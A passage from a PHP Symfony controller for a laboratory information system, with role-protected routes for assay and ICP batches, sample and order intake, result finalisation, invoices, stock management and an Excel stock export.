  1639. //=====================================================================================================================================================================================<
  1640. /**
  1641. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1642. * @Route("/fassayreg/{type}", name="fassayreg")
  1643. * @param string $type
  1644. * @param Request $request
  1645. * @return Response $response
  1646. */
  1647. public function fassayreg(string $type, Request $request)
  1648. {
  1649. // /* @var QueryBuilder $qb */
  1650. // $qb = $this->em->createQueryBuilder();
  1651. // $qb->select('a,b,c');
  1652. // $qb->from(RRun::class, 'a');
  1653. // $qb->leftJoin('a.assignedSample', 'b');
  1654. // $qb->leftJoin('b.assignedOrder', 'c');
  1655. // $qb->where("a.status IN ('Confirm?', 'Weigh Q', 'FA Q', 'CUP Q', 'DIS Q', 'Completed')");
  1656. // if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1657. // $qb->andWhere('c.WNJ = TRUE');
  1658. // }
  1659. // $rruns = ($qb->getQuery()->getResult());
  1661. $batches = $this->getDoctrine()->getRepository(DISQBatch::class)->findBy([],['id' => 'DESC'],60);
  1662. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findByStatusWithPriority(100);
  1663. $data = $request->request->all();
  1664. if ( $request->isMethod("post") ) {
  1665. if (null !== $request->get('newbatch')) {
  1666. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1667. $info2 = $data['chkids'];
  1668. $newbatch = new DISQBatch();
  1669. $newbatch->setDate(new \DateTime());
  1670. $newbatch->setStatus('');
  1671. $this->em->persist($newbatch);
  1672. foreach ($info2 as $j) {
  1673. $icprundummy = $this->getDoctrine()->getRepository(RRun::class)->findOneBy([
  1674. 'id' => $j
  1675. ]);
  1676. if ($icprundummy->getStatus()=='DIS Q') {
  1677. $icprundummy->setAssignedDISQBatch($newbatch);
  1678. $this->em->persist($icprundummy);
  1679. }
  1680. }
  1681. $this->em->flush();
  1682. return $this->redirect($this->generateUrl('fassayreg'));
  1683. }
  1684. }
  1685. if (null !== $request->get('unassignbatch')) {
  1686. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1687. $info2 = $data['chkids'];
  1688. foreach ($info2 as $j) {
  1689. $icprundummy = $this->getDoctrine()->getRepository(RRun::class)->findOneBy([
  1690. 'id' => $j
  1691. ]);
  1692. $icprundummy->setAssignedDISQBatch(NULL);
  1693. $this->em->persist($icprundummy);
  1695. }
  1696. $this->em->flush();
  1697. return $this->redirect($this->generateUrl('fassayreg'));
  1698. }
  1699. }
  1701. return $this->redirect($this->generateUrl('fassayreg'));
  1702. }
  1704. return $this->render('cats/fassayreg.html.twig',[
  1705. // 'rruns' => $rruns,
  1706. 'batches' => $batches,
  1707. 'fabatches' => $fabatches
  1708. ]);
  1709. }
  1710. //=====================================================================================================================================================================================<
  1711. /**
  1712. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1713. * @Route("/icp", name="icp")
  1714. * @param Request $request
  1715. * @return Response $response
  1716. */
  1717. public function icp(Request $request)
  1718. {
  1719. $batches = $this->getDoctrine()->getRepository(ICPBatch::class)->findBy([],['id' => 'DESC'],60);
  1720. return $this->render('cats/icp.html.twig',[
  1721. 'batches' => $batches,
  1722. ]);
  1723. }
  1724. //=====================================================================================================================================================================================<
  1725. /**
  1726. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1727. * @Route("/icprecent", name="icprecent")
  1728. * @param Request $request
  1729. * @return Response $response
  1730. */
  1731. public function icprecent(Request $request)
  1732. {
  1733. return $this->render('cats/icprecent.html.twig',[
  1734. 'icpruns' => []
  1735. ]);
  1736. }
  1737. //=====================================================================================================================================================================================<
  1738. /**
  1739. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1740. * @Route("/icpall", name="icpall")
  1741. * @param Request $request
  1742. * @return Response $response
  1743. */
  1744. public function icpall(Request $request)
  1745. {
  1746. return $this->render('cats/icpall.html.twig',[
  1747. 'icpruns' => []
  1748. ]);
  1749. }
  1750. //=====================================================================================================================================================================================<
  1751. /**
  1752. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1753. * @Route("/fassayregarchive", name="fassayregarchive")
  1754. * @param Request $request
  1755. * @return Response $response
  1756. */
  1758. public function fassayregarchive(Request $request)
  1759. {
  1762. //$rruns = $this->getDoctrine()->getRepository(RRUN::class)->findBy([
  1763. // 'status' => ['Archived']
  1764. //]);
  1766. return $this->render('cats/fassayregarchive.html.twig',[
  1767. //'rruns' => $rruns
  1768. ]);
  1769. }
  1770. //=====================================================================================================================================================================================<
  1771. /**
  1772. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1773. * @Route("/fassayregrecent", name="fassayregrecent")
  1774. * @param Request $request
  1775. * @return Response $response
  1776. */
  1778. public function fassayregrecent(Request $request)
  1779. {
  1780. return $this->render('cats/fassayregrecent.html.twig',[]);
  1781. }
  1782. //=====================================================================================================================================================================================<
  1783. /**
  1784. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1785. * @Route("/fassaypreliminaryarchive", name="fassaypreliminaryarchive")
  1786. * @param Request $request
  1787. * @return Response $response
  1788. */
  1790. public function fassaypreliminaryarchive(Request $request)
  1791. {
  1792. // $prelims = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1793. // 'status' => ['Archived']
  1794. // ]);
  1796. return $this->render('cats/fassayprelimarchive.html.twig',[]);
  1797. }
  1798. //=====================================================================================================================================================================================<
  1799. /**
  1800. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1801. * @param Request $request
  1802. * @Route("cats/addCatSamples", name="addCatSamples")
  1803. * @return Response $response
  1804. */
  1805. public function addCatSamples(Request $request)
  1806. {
  1807. if ( $request->isMethod("post") ) {
  1808. $info = $request->get('entry');
  1809. //dump($info);
  1810. $samplenames = [];
  1811. $date = $request->get('date');
  1812. foreach($info as $j){
  1813. $entry = new Inventory();
  1814. $entry->setDateofreceipt(new \DateTime($date));
  1815. $entry->setSampleType($j['type']);
  1816. $entry->setSampleSubType($j['subtype']);
  1817. $entry->setSampleName($j['name']);
  1818. $entry->setAddedtocatalogue(false);
  1819. array_push($samplenames, $j['name']);
  1820. $entry->setPriority('Normal');
  1821. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1822. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1823. }
  1824. if ((float)str_replace(",",".",$j['metalweight']) > 0) {
  1825. $entry->setMetalweight((float)str_replace(",",".",$j['metalweight']));
  1826. }
  1827. $entry->setMillStatus("Original");
  1828. $entry->setAnalysisStatus("None");
  1829. $entry->setXrfStatus("To Add");
  1830. $entry->setCountry($j['country']);
  1831. $entry->setExportno($j['export']);
  1832. $entry->setReady(false);
  1833. $this->em->persist($entry);
  1834. }
  1835. $log = new Log();
  1836. $log->setDate(new \DateTime());
  1837. $log->setType('Added Samples');
  1838. $log->setText('New samples were added');
  1839. $log->setAssignedUser($this->getUser());
  1840. $log->setText2(implode(",", $samplenames));
  1841. $this->em->persist($log);
  1842. $this->em->flush();
  1843. return $this->redirect($this->generateUrl('inventory'));
  1844. }
  1845. return $this->render('cats/addsamples.html.twig');
  1846. }
  1847. //=====================================================================================================================================================================================<
  1848. /**
  1849. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1850. * @param Request $request
  1851. * @Route("cats/addCatOrders", name="addCatOrders")
  1852. * @return Response $response
  1853. */
  1854. public function addCatOrders(Request $request)
  1855. {
  1856. if ( $request->isMethod("post") ) {
  1857. $info = $request->get('entry');
  1858. //dump($info);
  1860. $date = $request->get('date');
  1861. //dump($date);
  1862. $entry = new Orders();
  1863. $entry->setDateofreceipt(new \DateTime($info['dateofreceipt']));
  1864. $entry->setOrderno(strtoupper($info['orderno']));
  1865. $entry->setSender($info['sender']);
  1866. $entry->setMReceive((float)$info['mreceive']);
  1867. $entry->setClient($info['client']);
  1868. $entry->setStatus('Open');
  1869. $entry->setWaybill($info['wb']);
  1870. $entry->setCourrier($info['courrier']);
  1871. $this->em->persist($entry);
  1873. $this->em->flush();
  1874. return $this->redirect($this->generateUrl('orders'));
  1875. }
  1876. return $this->render('cats/addorders.html.twig');
  1877. }
  1878. //=====================================================================================================================================================================================<
  1879. /**
  1880. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1881. * @param Request $request
  1882. * @Route("/incomingorders", name="incomingorders")
  1883. * @return Response $response
  1884. */
  1885. public function incomingorders(Request $request)
  1886. {
  1887. if ( $request->isMethod("post") ) {
  1888. $info = $request->get('entry');
  1889. //dump($info);
  1891. $date = $request->get('date');
  1892. //dump($date);
  1893. $entry = new Orders();
  1894. $entry->setDateofreceipt(new \DateTime($date));
  1895. $entry->setOrderno(strtoupper($info['orderno']));
  1896. $entry->setSender($info['sender']);
  1897. $entry->setClient($info['client']);
  1898. $entry->setStatus('Open');
  1899. $entry->setWaybill($info['wb']);
  1900. $entry->setCourrier($info['courrier']);
  1901. $this->em->persist($entry);
  1903. $this->em->flush();
  1904. return $this->redirect($this->generateUrl('orders'));
  1905. }
  1906. $orders = $this->em->getRepository(ClientParcel::class)->findAll();
  1909. return $this->render('cats/incomingorders.html.twig',[
  1910. 'orders' => $orders
  1911. ]);
  1912. }
  1913. //=====================================================================================================================================================================================<
  1914. /**
  1915. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1916. * @param Request $request
  1917. * @Route("/orders", name="orders")
  1918. * @return Response $response
  1919. */
  1920. public function orders(Request $request)
  1921. {
  1922. /* @var QueryBuilder $qb */
  1923. $qb = $this->em->createQueryBuilder();
  1924. $qb->select('a');
  1925. $qb->from(Orders::class, 'a');
  1926. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1927. $qb->where('a.WNJ = TRUE');
  1928. }
  1929. $orders = ($qb->getQuery()->getResult());
  1932. if ( $request->isMethod("post") ) {
  1933. if (null !== $request->get('edit')){
  1934. $info = $request->get('ids');
  1935. //dump($request);
  1936. //dump($info);
  1937. $editorders = $this->getDoctrine()->getRepository(Orders::class)->findby([
  1938. 'id' => $info
  1939. ]);
  1940. return $this->render('cats/editorders.html.twig', [
  1941. 'orders' => $editorders
  1942. ]);
  1944. }
  1945. if (null !== $request->get('editconfirm')){
  1946. $info = $request->get('entry');
  1948. foreach($info as $j) {
  1949. $date = $request->get('date');
  1950. $entry = $this->getDoctrine()->getRepository(Orders::class)->find($j['id']);
  1951. /** @var Orders $entry */
  1952. $entry->setDateofreceipt(new \DateTime($j['dateofreceipt']));
  1953. $entry->setOrderno($j['orderno']);
  1954. $entry->setMReceive((float)$j['mreceive']);
  1955. $entry->setSender($j['sender']);
  1956. $entry->setClient($j['client']);
  1957. $entry->setWaybill($j['wb']);
  1958. if ($j['mdisposed'] > 0){
  1959. $entry->setMDisposed((float)$j['mdisposed']);
  1960. $entry->setDisposeDate(new \DateTime($j['disposedate']));
  1961. }
  1962. $entry->setCourrier($j['courrier']);
  1963. $this->em->persist($entry);
  1964. }
  1965. $this->em->flush();
  1966. return $this->redirect($this->generateUrl('orders'));
  1967. }
  1968. }
  1969. return $this->render('cats/orders.html.twig',[
  1970. 'orders' => $orders
  1971. ]);
  1972. }
  1973. //=====================================================================================================================================================================================<
  1974. /**
  1975. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1976. * @param Request $request
  1977. * @Route("/tasks", name="tasks")
  1978. * @return Response $response
  1979. */
  1980. public function tasks(Request $request)
  1981. {
  1983. /** @var Inventory $inv */
  1984. $inv = $this->getDoctrine()->getRepository(Inventory::class)->findAll();
  1985. /** @var Orders $orders */
  1986. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1987. /** @var Inventory $priority */
  1988. $priority = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1989. 'priority' => "High",
  1990. 'analysisStatus' => ["In Progress","To Start"]
  1991. ]);
  1992. /** @var Inventory $milllist */
  1993. $milllist = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1994. 'millStatus' => "To Mill"
  1995. ]);
  1996. /** @var Inventory $milllist */
  1997. $openlist = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  1998. 'analysisStatus' => ["In Progress","To Start"]
  1999. ]);
  2000. /** @var PRun $prunweighq */
  2001. $prunweighq = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  2002. 'status' => "Weigh Q"
  2003. ]);
  2004. /** @var RRun $rrunweighq */
  2005. $rrunweighq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  2006. 'status' => "Weigh Q"
  2007. ]);
  2008. /** @var PRun $prunfaq */
  2009. $prunfaq = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  2010. 'status' => "FA Q"
  2011. ]);
  2012. /** @var RRun $rrunfaq */
  2013. $rrunfaq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  2014. 'status' => "FA Q"
  2015. ]);
  2016. /** @var RRun $rruncupq */
  2017. $rruncupq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  2018. 'status' => "CUP Q"
  2019. ]);
  2020. /** @var RRun $rrundisq */
  2021. $rrundisq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
  2022. 'status' => "DIS Q"
  2023. ]);
  2024. /** @var Inventory $xrfq */
  2025. $xrfq = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  2026. 'xrfStatus' => "To Add"
  2027. ]);
  2029. return $this->render('cats/tasks.html.twig',[
  2030. 'orders' => $orders,
  2031. 'inventory' => $inv,
  2032. 'priority' => $priority,
  2033. 'milllist' => $milllist,
  2034. 'openlist' => $openlist,
  2035. 'prunweighq' => $prunweighq,
  2036. 'rrunweighq' => $rrunweighq,
  2037. 'rrunfaq' => $rrunfaq,
  2038. 'prunfaq' => $prunfaq,
  2039. 'rruncupq' => $rruncupq,
  2040. 'rrundisq' => $rrundisq,
  2041. 'xrfq' => $xrfq
  2042. ]);
  2043. }
  2044. //=====================================================================================================================================================================================<
  2045. /**
  2046. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2047. * @param Request $request
  2048. * @Route("/log", name="log")
  2049. * @return Response $response
  2050. */
  2051. public function log(Request $request)
  2052. {
  2054. /** @var Log $inv */
  2055. //$log = $this->getDoctrine()->getRepository(Log::class)->findAll();
  2058. return $this->render('cats/log.html.twig',[
  2059. //'log' => $log
  2060. ]);
  2061. }
  2062. //=====================================================================================================================================================================================<
  2063. /**
  2064. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2065. * @param Request $request
  2066. * @Route("/cp", name="cp")
  2067. * @return Response $response
  2068. */
  2069. public function cp(Request $request)
  2070. {
  2072. /** @var Inventory $samples */
  2073. $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  2074. 'analysisStatus' => ['In Progress', 'Flagged']
  2075. ],[
  2076. 'id' => 'ASC'
  2077. ]);
  2079. //$qb = $this->em->createQuery("SELECT a FROM App\Entity\Inventory a LEFT OUTER JOIN a.rruns b LEFT OUTER JOIN b.icpruns c WHERE (a.analysisStatus = 'In Progress' and c.icppt IS NOT NULL) GROUP BY a.id ORDER By a.id DESC");
  2081. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  2082. /* @var QueryBuilder $qb */
  2083. $qb = $this->em->createQueryBuilder();
  2084. $qb->select('a');
  2085. $qb->from(Inventory::class, 'a');
  2086. $qb->leftJoin('a.assignedOrder', 'b');
  2087. $qb->leftJoin('a.rruns', 'c');
  2088. $qb->leftJoin('c.icpruns', 'd');
  2089. $qb->where("a.analysisStatus IN ('In Progress', 'Flagged')");
  2090. $qb->andWhere('d.icppt IS NOT NULL');
  2091. $qb->andWhere('b.WNJ = TRUE');
  2092. //$qb->andWhere('d.icppt IS NOT NULL');
  2093. $samples = ($qb->getQuery()->getResult());
  2094. } else {
  2095. /* @var QueryBuilder $qb */
  2096. $qb = $this->em->createQueryBuilder();
  2097. $qb->select('a');
  2098. $qb->from(Inventory::class, 'a');
  2099. $qb->leftJoin('a.assignedOrder', 'b');
  2100. $qb->leftJoin('a.rruns', 'c');
  2101. $qb->leftJoin('c.icpruns', 'd');
  2102. $qb->where("a.analysisStatus IN ('In Progress', 'Flagged')");
  2103. $qb->andWhere('d.icppt IS NOT NULL');
  2104. //$qb->andWhere('d.icppt IS NOT NULL');
  2105. $samples = ($qb->getQuery()->getResult());
  2106. }
  2108. if ( $request->isMethod("post") ) {
  2109. $data = $request->request->all();
  2110. if (null !== $request->get('finalize')){
  2111. if (array_key_exists('chkids',$data)) {
  2112. foreach ($data['chkids'] as $j) {
  2113. /** @var Inventory $sample */
  2114. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2115. 'id' => $j
  2116. ]);
  2117. foreach ($sample->getRruns() as $k) {
  2118. /** @var RRun $k */
  2119. $k->setStatus('Archived');
  2120. $this->em->persist($k);
  2121. foreach ($k->getIcpruns() as $l) {
  2122. /** @var RRun $l */
  2123. $l->setStatus('Archived');
  2124. $this->em->persist($l);
  2125. }
  2126. }
  2127. $sample->setDateFinished(new \DateTime());
  2128. $sample->setAnalysisStatus('Completed');
  2129. $sample->setIcppt($data['entry'][$j]['avgpt']);
  2130. $sample->setIcppd($data['entry'][$j]['avgpd']);
  2131. $sample->setIcprh($data['entry'][$j]['avgrh']);
  2132. $this->em->persist($sample);
  2133. $this->em->flush();
  2135. }
  2136. }
  2137. return $this->redirect($this->generateUrl('cp'));
  2138. }
  2139. if (null !== $request->get('finalizemaxrh')){
  2140. if (array_key_exists('chkids',$data)) {
  2141. foreach ($data['chkids'] as $j) {
  2142. /** @var Inventory $sample */
  2143. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2144. 'id' => $j
  2145. ]);
  2146. foreach ($sample->getRruns() as $k) {
  2147. /** @var RRun $k */
  2148. $k->setStatus('Archived');
  2149. $this->em->persist($k);
  2150. foreach ($k->getIcpruns() as $l) {
  2151. /** @var RRun $l */
  2152. $l->setStatus('Archived');
  2153. $this->em->persist($l);
  2154. }
  2155. }
  2156. foreach ($sample->getMoists() as $i){
  2157. /** @var Moists $i*/
  2158. $i->setStatus('Archived');
  2159. $this->em->persist($i);
  2160. }
  2161. $sample->setDateFinished(new \DateTime());
  2162. $sample->setAnalysisStatus('Completed');
  2163. $sample->setIcppt($data['entry'][$j]['avgpt']);
  2164. $sample->setIcppd($data['entry'][$j]['avgpd']);
  2165. $sample->setIcprh($data['entry'][$j]['maxrh']);
  2166. $this->em->persist($sample);
  2167. $this->em->flush();
  2169. }
  2170. }
  2171. return $this->redirect($this->generateUrl('cp'));
  2172. }
  2173. if (null !== $request->get('finalizemaxrhcustom')){
  2174. if (array_key_exists('chkids',$data)) {
  2175. foreach ($data['chkids'] as $j) {
  2176. /** @var Inventory $sample */
  2177. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2178. 'id' => $j
  2179. ]);
  2180. foreach ($sample->getRruns() as $k) {
  2181. /** @var RRun $k */
  2182. $k->setStatus('Archived');
  2183. $this->em->persist($k);
  2184. foreach ($k->getIcpruns() as $l) {
  2185. /** @var RRun $l */
  2186. $l->setStatus('Archived');
  2187. $this->em->persist($l);
  2188. }
  2189. }
  2190. foreach ($sample->getMoists() as $i){
  2191. /** @var Moists $i*/
  2192. $i->setStatus('Archived');
  2193. $this->em->persist($i);
  2194. }
  2195. $sample->setDateFinished(new \DateTime());
  2196. $sample->setAnalysisStatus('Completed');
  2197. $sample->setIcppt($data['entry'][$j]['avgpt']);
  2198. $sample->setIcppd($data['entry'][$j]['avgpd']);
  2199. $sample->setIcprh($data['entry'][$j]['maxrh']*0.996);
  2200. $this->em->persist($sample);
  2201. $this->em->flush();
  2203. }
  2204. }
  2205. return $this->redirect($this->generateUrl('cp'));
  2206. }
  2207. if (null !== $request->get('flag')){
  2208. $info = $request->get('entry');
  2210. foreach($data['chkids'] as $j){
  2211. $sample = $this->getDoctrine()->getRepository(Inventory::class)->findOneBy([
  2212. 'id' => $j
  2213. ]);
  2214. $sample->setAnalysisStatus('Flagged');
  2215. $this->em->persist($sample);
  2216. $this->em->flush();
  2218. }
  2219. return $this->redirect($this->generateUrl('cp'));
  2220. }
  2221. }
  2222. return $this->render('cats/cp.html.twig',[
  2223. 'inventory' => $samples,
  2224. ]);
  2225. }
  2226. //=====================================================================================================================================================================================<
  2227. /**
  2228. * @Security("is_granted('ROLE_INVOICES') or is_granted('ROLE_ADMINISTRATORIUS')")
  2229. * @param Request $request
  2230. * @Route("/invoices", name="invoices")
  2231. * @return Response $response
  2232. */
  2233. public function invoices(Request $request)
  2234. {
  2235. $qb = $this->em->createQueryBuilder();
  2236. $qb->setCacheable(false);
  2237. $qb->select('i');
  2238. $qb->from(Invoice::class,'i');
  2239. $qb->leftJoin('i.orders', 'o');
  2240. $qb->leftJoin('o.samples', 's');
  2241. $qb->where("i.status = 'Open'");
  2242. $invoices = $qb->getQuery()->getResult();
  2244. $qb = $this->em->createQueryBuilder();
  2245. $qb->setCacheable(false);
  2246. $qb->select('i');
  2247. $qb->from(Invoice::class, 'i');
  2248. $qb->leftJoin('i.orders', 'o');
  2249. $qb->leftJoin('o.samples', 's');
  2250. $qb->where("i.status = 'Closed'");
  2251. $allClosedInvoices = $qb->getQuery()->getResult();
  2253. // Create a DateTime object for one year ago
  2254. $oneYearAgo = new \DateTime();
  2255. $oneYearAgo->modify('-1 year');
  2257. // Filter closed invoices in PHP to keep only those with orders not older than 1 year
  2258. $closedinvoices = array_filter($allClosedInvoices, function($invoice) use ($oneYearAgo) {
  2259. /** @var Invoice $invoice */
  2260. $orders = $invoice->getOrders();
  2262. // If there are no orders, keep the invoice by default
  2263. if (count($orders) === 0) {
  2264. return true;
  2265. }
  2267. // Check if at least one order is newer than one year ago
  2268. foreach ($orders as $order) {
  2269. if ($order->getDateOfReceipt() >= $oneYearAgo) {
  2270. return true;
  2271. }
  2272. }
  2274. return false;
  2275. });
  2277. if ($request->isMethod("post")) {
  2278. $data = $request->request->all();
  2279. if (null !== $request->get('newinvoice')){
  2280. $invoice = new Invoice();
  2281. $invoice->setInvoiceno($data['entry']['invoiceno']);
  2282. $invoice->setAmount((float)$data['entry']['amount']);
  2283. $invoice->setCurrency($data['entry']['currency']);
  2284. $invoice->setRecipient($data['entry']['recipient']);
  2285. $invoice->setStatus('Open');
  2286. $this->em->persist($invoice);
  2287. $this->em->flush();
  2288. return $this->redirect($this->generateUrl('invoices'));
  2289. }
  2290. if (null !== $request->get('editamount')){
  2291. $invoiceid = $data['invoiceid'];
  2292. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2293. 'id' => $invoiceid
  2294. ]);
  2295. $invoice->setInvoiceno($data['invoiceno']);
  2296. $invoice->setAmount((float)$data['amount']);
  2297. $invoice->setCurrency($data['currency']);
  2298. $invoice->setRecipient($data['recipient']);
  2299. $this->em->persist($invoice);
  2300. $this->em->flush();
  2301. return $this->redirect($this->generateUrl('invoices'));
  2302. }
  2303. if (null !== $request->get('unassignorder')){
  2304. $temporder = $this->getDoctrine()->getRepository(Orders::class)->findOneBy([
  2305. 'id' => $data['orderid']
  2306. ]);
  2307. $temporder->setAssignedInvoice(Null);
  2308. $this->em->persist($temporder);
  2309. $this->em->flush();
  2310. return new Response("success");
  2311. }
  2312. if (null !== $request->get('deleteinvoice')){
  2313. $invoiceid = $data['invoiceid'];
  2314. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2315. 'id' => $invoiceid
  2316. ]);
  2317. $ordersdel = $this->getDoctrine()->getRepository(Orders::class)->findBy([
  2318. 'assignedInvoice' => $invoice
  2319. ]);
  2320. foreach ($ordersdel as $j){
  2321. $j->setAssignedInvoice(NULL);
  2322. $this->em->persist($j);
  2323. $this->em->flush();
  2324. }
  2325. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2326. 'id' => $invoiceid
  2327. ]);
  2328. $this->em->remove($invoice);
  2329. $this->em->flush();
  2330. return $this->redirect($this->generateUrl('invoices'));
  2331. }
  2332. }
  2333. if (null !== $request->get('closeinvoice')){
  2334. $invoiceid = $data['invoiceid'];
  2335. $invoice = $this->getDoctrine()->getRepository(Invoice::class)->findOneBy([
  2336. 'id' => $invoiceid
  2337. ]);
  2338. $invoice->setStatus('Closed');
  2339. $this->em->persist($invoice);
  2340. $this->em->flush();
  2341. return $this->redirect($this->generateUrl('invoices'));
  2342. }
  2344. return $this->render('cats/invoices.html.twig', [
  2345. 'invoices' => $invoices,
  2346. 'closedinvoices' => array_reverse($closedinvoices)
  2347. ]);
  2348. }
  2349. //=====================================================================================================================================================================================<
  2350. /**
  2351. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2352. * @param Request $request
  2353. * @Route("/stock/download", name="stock_download")
  2354. * @return Response $response
  2355. */
  2356. public function downloadXlsx(Request $request)
  2357. {
  2358. $type = $request->query->get('type'); // Get type
  2359. $stockIds = $request->query->get('stockIds', []); // Get selected sample IDs
  2360. $fromDate = $request->query->get('fromDate'); // Get from-date filter
  2361. $toDate = $request->query->get('toDate'); // Get to-date filter
  2363. // Decode JSON string into array if necessary
  2364. if (is_string($stockIds)) {
  2365. $stockIds = json_decode($stockIds, true);
  2366. }
  2368. $currentDate = (new \DateTime())->format('ymdHis');
  2369. $filename = sprintf('%s_stock_%s.xlsx', $currentDate, strtolower($type)); // Generate filename
  2371. // Create a new Spreadsheet
  2372. $spreadsheet = new Spreadsheet();
  2373. $sheet = $spreadsheet->getActiveSheet();
  2375. // Add headers
  2376. $headers = ['ID', 'Stock ID', 'Stock Name', 'Supplier', 'CAS', 'Stock Type', 'Action Type', 'Quantity', 'Remaining Quantity', 'Date'];
  2377. $sheet->fromArray($headers, null, 'A1', true);
  2379. // Fetch data from StockManagement repository
  2380. $stockManagements = $this->getDoctrine()->getRepository(StockManagement::class)->findAllForXls($type, $stockIds, $fromDate, $toDate);
  2382. // Populate data rows
  2383. $row = 2; // Start after headers
  2384. foreach ($stockManagements as $entry) {
  2385. $sheet->fromArray([
  2386. $entry->getId(),
  2387. $entry->getStockId(),
  2388. $entry->getStockName(),
  2389. $entry->getSupplier(),
  2390. $entry->getComment(),
  2391. $entry->getStockType(),
  2392. $entry->getActionType(),
  2393. $entry->getQuantity(),
  2394. $entry->getTotalQuantity(),
  2395. $entry->getDate()->format('Y-m-d H:i:s'),
  2396. ], null, 'A' . $row, true);
  2398. $row++;
  2399. }
  2401. // Generate the Excel file
  2402. $writer = new Xlsx($spreadsheet);
  2404. // Prepare the response
  2405. $response = new StreamedResponse(function () use ($writer) {
  2406. $writer->save('php://output');
  2407. });
  2409. // Set headers for Excel download
  2410. $response->setStatusCode(200);
  2411. $response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
  2412. $response->headers->set('Content-Disposition', 'attachment; filename="' . $filename . '"');
  2414. return $response;
  2415. }
  2417. //=====================================================================================================================================================================================<
  2418. /**
  2419. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2420. * @param Request $request
  2421. * @Route("/stock", name="stock")
  2422. * @return Response $response
  2423. */
  2424. public function stock(Request $request)
  2425. {
  2426. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2427. 'type' => 'Reagent'
  2428. ]);
  2431. if ( $request->getMethod() == "POST" ) {
  2432. $data = $request->request->all();
  2434. if (null !== $request->get('addnew')){
  2435. if ($data) {
  2436. $info = $data['entry'];
  2437. $entry = new Stock();
  2439. $entry->setStockname($info['name'])
  2440. ->setQty((float)$info['qty'])
  2441. ->setLow((float)$info['low'])
  2442. ->setCritical((float)$info['critical'])
  2443. ->setComment($info['comment'])
  2444. ->setSupplier($info['supplier'])
  2445. ->setDatemodified(new \DateTime($info['datemodified']))
  2446. ->setUnits($info['units'])
  2447. ->setType("Reagent");
  2449. $this->em->persist($entry);
  2450. $this->em->flush();
  2452. // Create a new StockManagement entry when adding new entry
  2453. $mgmt = new StockManagement();
  2454. $mgmt->setStockId($entry->getId());
  2455. $mgmt->setStockName($entry->getStockname());
  2456. $mgmt->setSupplier($entry->getSupplier());
  2457. $mgmt->setComment($entry->getComment());
  2458. $mgmt->setStockType($entry->getType());
  2459. $mgmt->setActionType('Add new');
  2460. $mgmt->setQuantity($entry->getQty());
  2461. $mgmt->setTotalQuantity($entry->getQty());
  2462. $mgmt->setDate(new \Datetime());
  2464. $this->em->persist($mgmt);
  2465. $this->em->flush();
  2466. return $this->redirect($this->generateUrl('stock'));
  2467. }
  2468. }
  2469. if (null !== $request->get('delete')){
  2470. if ($data) {
  2471. $info = $data['entryid'];
  2472. /*echo '<pre>';
  2473. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2474. die();*/
  2475. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2476. 'id' => $info
  2477. ]);
  2479. // Create a new StockManagement entry when deleting
  2480. $mgmt = new StockManagement();
  2481. $mgmt->setStockId($entry->getId());
  2482. $mgmt->setStockName($entry->getStockname());
  2483. $mgmt->setSupplier($entry->getSupplier());
  2484. $mgmt->setComment($entry->getComment());
  2485. $mgmt->setStockType($entry->getType());
  2486. $mgmt->setActionType('Delete');
  2487. $mgmt->setQuantity(0);
  2488. $mgmt->setTotalQuantity($entry->getQty());
  2489. $mgmt->setDate(new \Datetime());
